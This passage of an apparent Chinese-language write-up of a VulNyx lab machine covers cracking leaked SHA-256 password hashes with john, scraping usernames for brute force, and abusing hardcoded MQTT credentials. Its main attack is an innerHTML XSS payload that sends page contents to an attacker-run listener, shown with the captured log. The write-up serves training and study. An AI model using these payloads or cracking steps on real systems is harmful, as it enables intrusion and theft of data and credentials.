VALUES\n(1,&#039;Robert24&#039;,&#039;66dc8ac996672de0cdeb294808d4cca21ba0bc856c365e90562565853febed0c&#039;,&#039;user&#039;),\n(2,&#039;calvin&#039;,&#039;e8e9689deac5bac977b64e85c1105bd1419608f1223bdafb8e5fbdf6cf939879&#039;,&#039;user&#039;),\n(3,&#039;JulianAdm&#039;,&#039;bbca1b30190fddeead4e1a845ee063bec94499601aa5ee795da8917767bdcdde&#039;,&#039;admin&#039;),\n(4,&#039;John20&#039;,&#039;38858f3066c9a6f3d8c6e54fbfcff204d5383f0721c32bc8ae46cf46a93e3694&#039;,&#039;user&#039;);\n\/*!40000 ALTER TABLE `users` ENABLE KEYS *\/;\nUNLOCK TABLES;\n\/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE *\/;\n\n\/*!40101 SET SQL_MODE=@OLD_SQL_MODE *\/;\n\/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS *\/;\n\/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS *\/;\n\/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT *\/;\n\/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS *\/;\n\/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION *\/;\n\/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES *\/;\n\n-- Dump completed on 2024-08-24 21:17:08<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86\u4e00\u4e9b\u6709\u610f\u601d\u7684hash\uff1a<\/p>\n<pre><code class=\"language-bash\">Robert24:66dc8ac996672de0cdeb294808d4cca21ba0bc856c365e90562565853febed0c\ncalvin:e8e9689deac5bac977b64e85c1105bd1419608f1223bdafb8e5fbdf6cf939879\nJulianAdm:bbca1b30190fddeead4e1a845ee063bec94499601aa5ee795da8917767bdcdde\nJohn20:38858f3066c9a6f3d8c6e54fbfcff204d5383f0721c32bc8ae46cf46a93e3694<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u7834\u89e3\uff0c\u8fd9\u662f\u4e00\u4e2a <strong>64 \u4f4d\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32<\/strong>\uff0c\u5373 <strong>256 \u4f4d\uff0832 \u5b57\u8282\uff09<\/strong> \u7684\u8f93\u51fa\uff08\u662f <strong>SHA-256<\/strong> \u54c8\u5e0c\u7b97\u6cd5\u7684\u5178\u578b\u7279\u5f81\uff09<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ john --format=raw-sha256 --wordlist=\/usr\/share\/wordlists\/rockyou.txt hash           \nUsing default input encoding: UTF-8\nLoaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 128\/128 SSE2 4x])\nWarning: poor OpenMP scalability for this hash type, consider --fork=4\nWill run 4 OpenMP threads\nPress &#039;q&#039; or Ctrl-C to abort, almost any other key for status\nemily            (calvin)     \n1g 0:00:00:01 DONE (2026-01-02 00:09) 0.7462g\/s 10703Kp\/s 10703Kc\/s 32136KC\/s (454579)..*7\u00a1Vamos!\nUse the &quot;--show --format=Raw-SHA256&quot; options to display all of the cracked passwords reliably\nSession completed.<\/code><\/pre>\n<p>\u5f97\u5230\u4e00\u4e2a\u5bc6\u7801\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff0c\u53d1\u73b0\u6210\u529f\uff1a<\/p>\n<pre><code class=\"language-text\">calvin:emily<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459492.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459492.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102131053228\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6ce8\u610f\u5230cookie\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459493.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459493.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102153922399\" \/><\/div><\/p>\n<h3>\u89e3\u6cd52\uff1a\u4fe1\u606f\u641c\u96c6+\u7206\u7834<\/h3>\n<p>\u5728<a href=\"https:\/\/www.bilibili.com\/video\/BV1Jh6AYDE1b\/?vd_source=8981ead94b755f367ac539f6ccd37f77\">\u7fa4\u4e3b\u89c6\u9891<\/a>\u4e2d\u770b\u5230\u7684\u89e3\u6cd5\uff0c\u4f7f\u7528\u6b63\u5219\u8fdb\u884c\u63d0\u53d6\uff0c\u518d\u8fdb\u884c\u7206\u7834\uff0c\u540c\u6837\u4f18\u96c5\uff0c\u4e14\u66f4\u5bb9\u6613\u88ab\u4eba\u60f3\u5230\uff0c\u8fd9\u4e2a\u6b63\u5219\u662f\u7528AI\u76f4\u63a5\u5199\u7684\uff0c\u5f88\u65b9\u4fbf\u4e14\u6bd4\u6211\u7684\u5b9e\u73b0\u65b9\u6cd5\u66f4\u4f18\u96c5\uff08\u72d7\u5934\u4fdd\u547d.jpg\uff09\uff1a<\/p>\n<pre><code>\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ curl -sk https:\/\/www.sunfriends.nyx\/ | grep username | sort -u                                  \n                    &lt;div class=&quot;username&quot;&gt;AnnaSolar&lt;\/div&gt;\n                    &lt;div class=&quot;username&quot;&gt;calvin&lt;\/div&gt;\n                    &lt;div class=&quot;username&quot;&gt;EcoFriendly&lt;\/div&gt;\n                    &lt;div class=&quot;username&quot;&gt;GreenThumb&lt;\/div&gt;\n                    &lt;div class=&quot;username&quot;&gt;John20&lt;\/div&gt;\n                    &lt;div class=&quot;username&quot;&gt;JulianAdm&lt;\/div&gt;\n                    &lt;div class=&quot;username&quot;&gt;Robert24&lt;\/div&gt;\n                    &lt;div class=&quot;username&quot;&gt;SolarGuy&lt;\/div&gt;\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ curl -sk https:\/\/www.sunfriends.nyx\/ | grep -oP &#039;&lt;div class=&quot;username&quot;&gt;\\K[^&lt;]+&#039; | sort -u\nAnnaSolar\ncalvin\nEcoFriendly\nGreenThumb\nJohn20\nJulianAdm\nRobert24\nSolarGuy<\/code><\/pre>\n<p>\u7136\u540e\u4f7f\u7528<code>burpsuite<\/code>\u8fdb\u884c\u7206\u7834\u5373\u53ef\uff01\uff01\uff01\u5bf9\u4e86\uff0c\u524d\u63d0\u662f\u5b57\u5178\u91cc\u6709\u8fd9\u4e2a\u5bc6\u7801\u54e6\u3002<\/p>\n<h3>XSS\u6f0f\u6d1e\u5229\u7528<\/h3>\n<p>\u67e5\u770b\u4e00\u4e0b<code>dashboard.php<\/code>\u6e90\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n\n&lt;head&gt;\n    &lt;meta charset=&quot;UTF-8&quot;&gt;\n    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n    &lt;title&gt;Solar Energy Dashboard&lt;\/title&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;\/style.css&quot;&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;\/style2.css&quot;&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n    &lt;div class=&quot;dashboard&quot;&gt;\n        &lt;object class=&quot;solar-icon&quot; data=&quot;sun.svg&quot; type=&quot;image\/svg+xml&quot; style=&quot;width:75px;&quot;&gt;&lt;\/object&gt;\n        &lt;h1&gt;Solar Energy Dashboard&lt;\/h1&gt;\n        &lt;div class=&quot;user-info&quot; id=&quot;userInfo&quot;&gt;&lt;span&gt;User Name&lt;\/span&gt;&lt;br&gt;Role&lt;\/div&gt;\n        &lt;canvas id=&quot;energyChart&quot; class=&quot;energy-chart&quot;&gt;&lt;\/canvas&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;solar-title&quot;&gt;Solar:&lt;\/span&gt; &lt;span id=&quot;solarEnergyLabel&quot;\n                class=&quot;energy-value solar&quot;&gt;0 kWh&lt;\/span&gt;&lt;\/div&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;consumed-title&quot;&gt;Consumed:&lt;\/span&gt; &lt;span id=&quot;consumedEnergyLabel&quot;\n                class=&quot;energy-value consumed&quot;&gt;0 kWh&lt;\/span&gt;&lt;\/div&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;grid-title&quot;&gt;Grid:&lt;\/span&gt; &lt;span id=&quot;gridEnergyLabel&quot;\n                class=&quot;energy-value grid-positive&quot;&gt;0 kWh&lt;\/span&gt;&lt;\/div&gt;\n        &lt;a href=&quot;\/logout.php&quot; class=&quot;logout-link&quot; id=&quot;logoutLink&quot;&gt;Logout&lt;\/a&gt;\n            &lt;\/div&gt;\n\n    &lt;!--&lt;script src=&quot;\/mqtt.min.js&quot;&gt;&lt;\/script&gt;--&gt;\n\n    &lt;script src=&quot;\/chart.js&quot;&gt;&lt;\/script&gt;\n    &lt;script type=&quot;module&quot;&gt;\n        import mqtt from &#039;\/mqtt.js&#039;\n\n        let userName = &quot;calvin&quot;;\n        let userRole = &quot;user&quot;;\n\n        var mqttclient = mqtt.connect(&#039;wss:\/\/www.solar.nyx\/wss\/&#039;, {                        \n            clientId: userName + &#039;-dashboard-&#039; + new Date().valueOf(),       \n            username: &#039;user&#039;,\n            password: &#039;1tEa15klQpTx9Oub6ENG&#039;,\n            protocolId: &#039;MQTT&#039;\n        });\n\n        mqttclient.on(&quot;message&quot;, getMessagesStatus);\n\n        function getMessagesStatus(msTopic, msBody) {\n            let data = JSON.parse(msBody.toString());\n            setParams(data.solarEnergy, data.consumedEnergy);\n        }\n\n        mqttclient.subscribe(&quot;data&quot;, function (err) {\n            if (err) {\n                console.log(&#039;ERROR MQTT&#039;, err.toString());\n                mqttclient.end();\n            }\n        });\n\n        let solar = 0, consumed = 0, grid = 0;\n\n        \/\/ Initialize the bar chart using Chart.js\n        const ctx = document.getElementById(&#039;energyChart&#039;).getContext(&#039;2d&#039;);\n        let energyChart = new Chart(ctx, {\n            type: &#039;bar&#039;,\n            data: {\n                labels: [&#039;Solar&#039;, &#039;Consumed&#039;, &#039;Grid&#039;],\n                datasets: [{\n                    label: &#039;Energy (kWh)&#039;,\n                    data: [solar, consumed, grid],\n                    backgroundColor: [&#039;#6fcf97&#039;, &#039;#eb5757&#039;, &#039;#56ccf2&#039;],\n                }]\n            },\n            options: {\n                scales: {\n                    y: {\n                        beginAtZero: true,\n                        ticks: {\n                            callback: function (value) { return value + &quot; kWh&quot;; }\n                        }\n                    }\n                },\n                plugins: {\n                    legend: {\n                        display: false\n                    },\n                    tooltip: {\n                        callbacks: {\n                            label: function (context) {\n                                return context.dataset.label + &#039;: &#039; + context.raw + &#039; kWh&#039;;\n                            }\n                        }\n                    }\n                }\n            }\n        });\n\n        \/\/ Update the chart and labels with new data\n        function setParams(solarEnergy, consumedEnergy) {\n            let gridEnergy = consumedEnergy - solarEnergy;\n            solar = solarEnergy;\n            consumed = consumedEnergy;\n            grid = gridEnergy;\n\n            \/\/ Update the bar chart\n            energyChart.data.datasets[0].data = [solar, consumed, grid];\n            energyChart.update();\n\n            \/\/ Update labels with specific colors\n            document.getElementById(&#039;solarEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value solar&quot;&gt;${solarEnergy} kWh&lt;\/span&gt;`;\n            document.getElementById(&#039;consumedEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value consumed&quot;&gt;${consumedEnergy} kWh&lt;\/span&gt;`;\n\n            let gridLabel = document.getElementById(&#039;gridEnergyLabel&#039;);\n            gridLabel.innerHTML = `&lt;span class=&quot;energy-value ${gridEnergy &lt; 0 ? &#039;grid-negative&#039; : &#039;grid-positive&#039;}&quot;&gt;${gridEnergy} kWh&lt;\/span&gt;`;\n\n            document.getElementById(&#039;userInfo&#039;).innerHTML = `&lt;span&gt;${userName}&lt;\/span&gt;&lt;br&gt;${userRole}`;\n        }\n\n        setParams(0, 0);\n\n    &lt;\/script&gt;\n&lt;\/body&gt;\n\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u6ce8\u610f\u5230\u786c\u7f16\u7801\u7684<strong>MQTT \u51ed\u636e<\/strong><\/p>\n<pre><code class=\"language-bash\">var mqttclient = mqtt.connect(&#039;wss:\/\/www.solar.nyx\/wss\/&#039;, {\n            clientId: userName + &#039;-dashboard-&#039; + new Date().valueOf(),\n            username: &#039;user&#039;,\n            password: &#039;1tEa15klQpTx9Oub6ENG&#039;,\n            protocolId: &#039;MQTT&#039;\n        });<\/code><\/pre>\n<p>\u8ddf\u7740\u4f5c\u8005\u8d70\uff0c\u4e0b\u8f7d\u4e00\u4e2a<a href=\"https:\/\/github.com\/emqx\/MQTTX\">MQTT\u5ba2\u6237\u7aefapp<\/a>\u8fdb\u884c\u4f7f\u7528\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459494.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459494.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102141706281\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u53f3\u4e0a\u89d2\u4e00\u76f4\u5728\u5f39\u51fa\u91cd\u8fde\u4e2d\uff0c\u5173\u6389\u81ea\u52a8\u91cd\u8fde\u5373\u53ef\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459495.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459495.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102141115170\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u5c31\u8fde\u4e0a\u4e86\uff0c\u63a5\u53d7\u5168\u90e8\u9891\u9053\u7684\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459496.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459496.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102141855913\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459497.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459497.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102141911402\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u53d1\u5e03\u6570\u636e\uff0c\u770b\u770b\u662f\u5426\u4f1a\u53cd\u6620\u5230\u524d\u7aef\u754c\u9762\uff1a<\/p>\n<pre><code class=\"language-bash\">{&quot;solarEnergy&quot;:11111,&quot;consumedEnergy&quot;:22222}<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459498.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459498.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102142402866\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u89c2\u5bdf\u6e90\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-html\">\/\/ Update labels with specific colors\ndocument.getElementById(&#039;solarEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value solar&quot;&gt;${solarEnergy} kWh&lt;\/span&gt;`;\ndocument.getElementById(&#039;consumedEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value consumed&quot;&gt;${consumedEnergy} kWh&lt;\/span&gt;`;<\/code><\/pre>\n<ul>\n<li>\u4f7f\u7528\u4e86 <strong><code>.innerHTML = ...<\/code><\/strong> \u2014\u2014 \u8fd9\u4f1a\u5c06\u5b57\u7b26\u4e32<strong>\u4f5c\u4e3aHTML\u89e3\u6790\u5e76\u6e32\u67d3<\/strong><\/li>\n<li>\u5982\u679c <code>${solarEnergy}<\/code> \u6216 <code>${consumedEnergy}<\/code> \u5305\u542b<strong>\u7528\u6237\u53ef\u63a7\u7684\u3001\u672a\u7ecf\u8f6c\u4e49\u7684 HTML\/JS \u4ee3\u7801<\/strong>\uff0c\u5c31\u4f1a\u5bfc\u81f4 <strong>XSS<\/strong><\/li>\n<\/ul>\n<h4>xss\u89e6\u53d1\u8fd4\u56de\u6e90\u4ee3\u7801<\/h4>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u6d4b\u8bd5\uff0c\u53c2\u8003\uff1a<a href=\"https:\/\/len4m.github.io\/posts\/solar-writeup-vulnyx-en\/\uff0c\u4f7f\u7528\u4f5c\u8005\u7ed9\u7684\u51e0\u4e2apayload\u8fdb\u884c\u6d4b\u8bd5\u4e86\uff0c\u9996\u5148\u672c\u5730\u5f00\u542f\u4e00\u4e2a\u7b80\u6613\u7684\u672c\u5730\u670d\u52a1\u5668\u63a5\u53d7\u4fe1\u606f\uff0c\u7136\u540e\u5c1d\u8bd5\u53d1\u9001\u8bbe\u8ba1\u597d\u7684json\u8fc7\u53bb\">https:\/\/len4m.github.io\/posts\/solar-writeup-vulnyx-en\/\uff0c\u4f7f\u7528\u4f5c\u8005\u7ed9\u7684\u51e0\u4e2apayload\u8fdb\u884c\u6d4b\u8bd5\u4e86\uff0c\u9996\u5148\u672c\u5730\u5f00\u542f\u4e00\u4e2a\u7b80\u6613\u7684\u672c\u5730\u670d\u52a1\u5668\u63a5\u53d7\u4fe1\u606f\uff0c\u7136\u540e\u5c1d\u8bd5\u53d1\u9001\u8bbe\u8ba1\u597d\u7684json\u8fc7\u53bb<\/a>\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;solarEnergy&quot;: &quot;&lt;img src=x onerror=\\&quot;(async () =&gt; {location.href=&#039;http:\/\/192.168.1.12:1234?url=&#039;+encodeURIComponent(window.location.href)+&#039;&amp;code=&#039;+btoa(document.body.outerHTML);})();\\&quot;; \/&gt;&quot;,\n  &quot;consumedEnergy&quot;: 22222\n}<\/code><\/pre>\n<p>\u5927\u81f4\u539f\u7406\u662f\u901a\u8fc7\u9519\u8bef\u89e6\u53d1\u51fd\u6570\u6267\u884c\u76f8\u5173\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ python3 -m http.server 1234   \nServing HTTP on 0.0.0.0 port 1234 (http:\/\/0.0.0.0:1234\/) ...\n192.168.1.10 - - [02\/Jan\/2026 01:59:31] &quot;GET \/?url=https%3A%2F%2Fwww.solar.nyx%2Fdashboard.php&amp;code=PGJvZHk+CiA......CjwvYm9keT4= HTTP\/1.1&quot; 200 -\n192.168.1.108 - - [02\/Jan\/2026 01:59:31] &quot;GET \/?url=https%3A%2F%2Fwww.solar.nyx%2Fdashboard.php&amp;code=PGJvZHk+CiAgICA8ZGl2........KPC9ib2R5Pg== HTTP\/1.1&quot; 200 -\n192.168.1.108 - - [02\/Jan\/2026 01:59:31] code 404, message File not found\n192.168.1.108 - - [02\/Jan\/2026 01:59:31] &quot;GET \/favicon.ico HTTP\/1.1&quot; 404 -\n192.168.1.10 - - [02\/Jan\/2026 01:59:32] code 404, message File not found\n192.168.1.10 - - [02\/Jan\/2026 01:59:32] &quot;GET \/favicon.ico HTTP\/1.1&quot; 404 -<\/code><\/pre>\n<p>\u89e3\u7801\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;body&gt;\n    &lt;div class=&quot;dashboard&quot;&gt;\n        &lt;object class=&quot;solar-icon&quot; data=&quot;sun.svg&quot; type=&quot;image\/svg+xml&quot; style=&quot;width:75px;&quot;&gt;&lt;\/object&gt;\n        &lt;h1&gt;Solar Energy Dashboard&lt;\/h1&gt;\n        &lt;div class=&quot;user-info&quot; id=&quot;userInfo&quot;&gt;&lt;span&gt;calvin&lt;\/span&gt;&lt;br&gt;user&lt;\/div&gt;\n        &lt;canvas id=&quot;energyChart&quot; class=&quot;energy-chart&quot; width=&quot;600&quot; height=&quot;300&quot; style=&quot;display: block; box-sizing: border-box; height: 200px; width: 400px;&quot;&gt;&lt;\/canvas&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;solar-title&quot;&gt;Solar:&lt;\/span&gt; &lt;span id=&quot;solarEnergyLabel&quot; class=&quot;energy-value solar&quot;&gt;&lt;span class=&quot;energy-value solar&quot;&gt;&lt;img src=&quot;x&quot; onerror=&quot;(async () =&gt; {location.href=&#039;http:\/\/192.168.1.12:1234?url=&#039;+encodeURIComponent(window.location.href)+&#039;&amp;code=&#039;+btoa(document.body.outerHTML);})();&quot; ;=&quot;&quot;&gt; kWh&lt;\/span&gt;&lt;\/span&gt;&lt;\/div&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;consumed-title&quot;&gt;Consumed:&lt;\/span&gt; &lt;span id=&quot;consumedEnergyLabel&quot; class=&quot;energy-value consumed&quot;&gt;&lt;span class=&quot;energy-value consumed&quot;&gt;22222 kWh&lt;\/span&gt;&lt;\/span&gt;&lt;\/div&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;grid-title&quot;&gt;Grid:&lt;\/span&gt; &lt;span id=&quot;gridEnergyLabel&quot; class=&quot;energy-value grid-positive&quot;&gt;&lt;span class=&quot;energy-value grid-positive&quot;&gt;NaN kWh&lt;\/span&gt;&lt;\/span&gt;&lt;\/div&gt;\n        &lt;a href=&quot;\/logout.php&quot; class=&quot;logout-link&quot; id=&quot;logoutLink&quot;&gt;Logout&lt;\/a&gt;\n            &lt;\/div&gt;\n\n    &lt;!--&lt;script src=&quot;\/mqtt.min.js&quot;&gt;&lt;\/script&gt;--&gt;\n\n    &lt;script src=&quot;\/chart.js&quot;&gt;&lt;\/script&gt;\n    &lt;script type=&quot;module&quot;&gt;\n        import mqtt from &#039;\/mqtt.js&#039;\n\n        let userName = &quot;calvin&quot;;\n        let userRole = &quot;user&quot;;\n\n        var mqttclient = mqtt.connect(&#039;wss:\/\/www.solar.nyx\/wss\/&#039;, {\n            clientId: userName + &#039;-dashboard-&#039; + new Date().valueOf(),\n            username: &#039;user&#039;,\n            password: &#039;1tEa15klQpTx9Oub6ENG&#039;,\n            protocolId: &#039;MQTT&#039;\n        });\n\n        mqttclient.on(&quot;message&quot;, getMessagesStatus);\n\n        function getMessagesStatus(msTopic, msBody) {\n            let data = JSON.parse(msBody.toString());\n            setParams(data.solarEnergy, data.consumedEnergy);\n        }\n\n        mqttclient.subscribe(&quot;data&quot;, function (err) {\n            if (err) {\n                console.log(&#039;ERROR MQTT&#039;, err.toString());\n                mqttclient.end();\n            }\n        });\n\n        let solar = 0, consumed = 0, grid = 0;\n\n        \/\/ Initialize the bar chart using Chart.js\n        const ctx = document.getElementById(&#039;energyChart&#039;).getContext(&#039;2d&#039;);\n        let energyChart = new Chart(ctx, {\n            type: &#039;bar&#039;,\n            data: {\n                labels: [&#039;Solar&#039;, &#039;Consumed&#039;, &#039;Grid&#039;],\n                datasets: [{\n                    label: &#039;Energy (kWh)&#039;,\n                    data: [solar, consumed, grid],\n                    backgroundColor: [&#039;#6fcf97&#039;, &#039;#eb5757&#039;, &#039;#56ccf2&#039;],\n                }]\n            },\n            options: {\n                scales: {\n                    y: {\n                        beginAtZero: true,\n                        ticks: {\n                            callback: function (value) { return value + &quot; kWh&quot;; }\n                        }\n                    }\n                },\n                plugins: {\n                    legend: {\n                        display: false\n                    },\n                    tooltip: {\n                        callbacks: {\n                            label: function (context) {\n                                return context.dataset.label + &#039;: &#039; + context.raw + &#039; kWh&#039;;\n                            }\n                        }\n                    }\n                }\n            }\n        });\n\n        \/\/ Update the chart and labels with new data\n        function setParams(solarEnergy, consumedEnergy) {\n            let gridEnergy = consumedEnergy - solarEnergy;\n            solar = solarEnergy;\n            consumed = consumedEnergy;\n            grid = gridEnergy;\n\n            